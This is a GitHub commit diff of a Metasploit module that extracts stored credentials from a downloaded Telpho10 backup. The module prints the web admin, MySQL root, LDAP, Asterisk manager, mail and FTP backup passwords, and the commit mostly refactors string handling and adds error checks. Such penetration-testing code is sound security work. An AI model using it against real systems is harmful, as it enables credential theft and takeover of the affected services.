Skip to content

Commit 971c820

Browse files
whootpbarry-r7
authored andcommitted
Update telpho10_credential_dump.rb
Code improvements suggested by @h00die
1 parent c9574a4 commit 971c820

File tree

1 file changed

+28
-20
lines changed

1 file changed

+28
-20
lines changed

modules/auxiliary/admin/http/telpho10_credential_dump.rb

Lines changed: 28 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -67,38 +67,37 @@ def dump_creds(mysql_file)
6767
end
6868
file.close
6969

70-
7170
print_status('Login (/telpho/login.php)')
7271
print_status('-------------------------')
73-
print_good('Username: ' + config.first[/adminusername\',\'(.*?)\'/, 1])
74-
print_good('Password: ' + config.first[/adminpassword\',\'(.*?)\'/, 1] + "\n")
72+
print_good("Username: #{config.first[/adminusername\',\'(.*?)\'/, 1]}")
73+
print_good("Password: #{config.first[/adminpassword\',\'(.*?)\'/, 1]}\n")
7574

7675
print_status('MySQL (/phpmyadmin)')
7776
print_status('-------------------')
7877
print_good('Username: root')
79-
print_good('Password: ' + config.first[/dbpassword\',\'(.*?)\'/, 1] + "\n")
78+
print_good("Password: #{config.first[/dbpassword\',\'(.*?)\'/, 1]}\n")
8079

8180
print_status('LDAP (/phpldapadmin)')
8281
print_status('--------------------')
83-
print_good('Username: ' + 'cn=admin,dc=localdomain')
84-
print_good('Password: ' + config.first[/ldappassword\',\'(.*?)\'/, 1] + "\n")
82+
print_good('Username: cn=admin,dc=localdomain')
83+
print_good("Password: #{config.first[/ldappassword\',\'(.*?)\'/, 1]}\n")
8584

8685
print_status('Asterisk MI (port 5038)')
8786
print_status('-----------------------')
88-
print_good('Username: ' + config.first[/manageruser\',\'(.*?)\'/, 1])
89-
print_good('Password: ' + config.first[/managersecret\',\'(.*?)\'/, 1] + "\n")
87+
print_good("Username: #{config.first[/manageruser\',\'(.*?)\'/, 1]}")
88+
print_good("Password: #{config.first[/managersecret\',\'(.*?)\'/, 1]}\n")
9089

9190
print_status('Mail configuration')
9291
print_status('------------------')
93-
print_good('Mailserver: ' + config.first[/ipsmarthost\',\'(.*?)\'/, 1])
94-
print_good('Username: ' + config.first[/mailusername\',\'(.*?)\'/, 1])
95-
print_good('Password: ' + config.first[/mailpassword\',\'(.*?)\'/, 1])
96-
print_good('Mail from: ' + config.first[/mailfrom\',\'(.*?)\'/, 1] + "\n")
92+
print_good("Mailserver: #{config.first[/ipsmarthost\',\'(.*?)\'/, 1]}")
93+
print_good("Username: #{config.first[/mailusername\',\'(.*?)\'/, 1]}")
94+
print_good("Password: #{config.first[/mailpassword\',\'(.*?)\'/, 1]}")
95+
print_good("Mail from: #{config.first[/mailfrom\',\'(.*?)\'/, 1]}\n")
9796

9897
print_status('Online Backup')
9998
print_status('-------------')
100-
print_good('ID: ' + config.first[/ftpbackupid\',\'(.*?)\'/, 1])
101-
print_good('Password: ' + config.first[/ftpbackuppw\',\'(.*?)\'/, 1] + "\n")
99+
print_good("ID: #{config.first[/ftpbackupid\',\'(.*?)\'/, 1]}")
100+
print_good("Password: #{config.first[/ftpbackuppw\',\'(.*?)\'/, 1]}\n")
102101

103102
end
104103

@@ -135,13 +134,22 @@ def run
135134
)
136135
print_good("File saved in: #{path}")
137136

138-
extracted = untar("#{path}")
139-
mysql = untar("#{extracted}/mysql.tar")
140-
141-
print_status('Dumping credentials' + "\n")
142-
dump_creds("#{mysql}/mysql.epb")
137+
begin
138+
extracted = untar("#{path}")
139+
mysql = untar("#{extracted}/mysql.tar")
140+
rescue
141+
print_error('Could not unpack files.')
142+
return nil
143+
end
144+
begin
145+
print_status("Dumping credentials\n")
146+
dump_creds("#{mysql}/mysql.epb")
147+
rescue
148+
print_error('Could not find credential file.')
149+
return nil
150+
end
143151
else
144-
print_error('Failed to download file.')
152+
print_error('Failed to download backup file.')
145153
return nil
146154
end
147155
rescue ::Rex::ConnectionError

0 commit comments

Comments
 (0)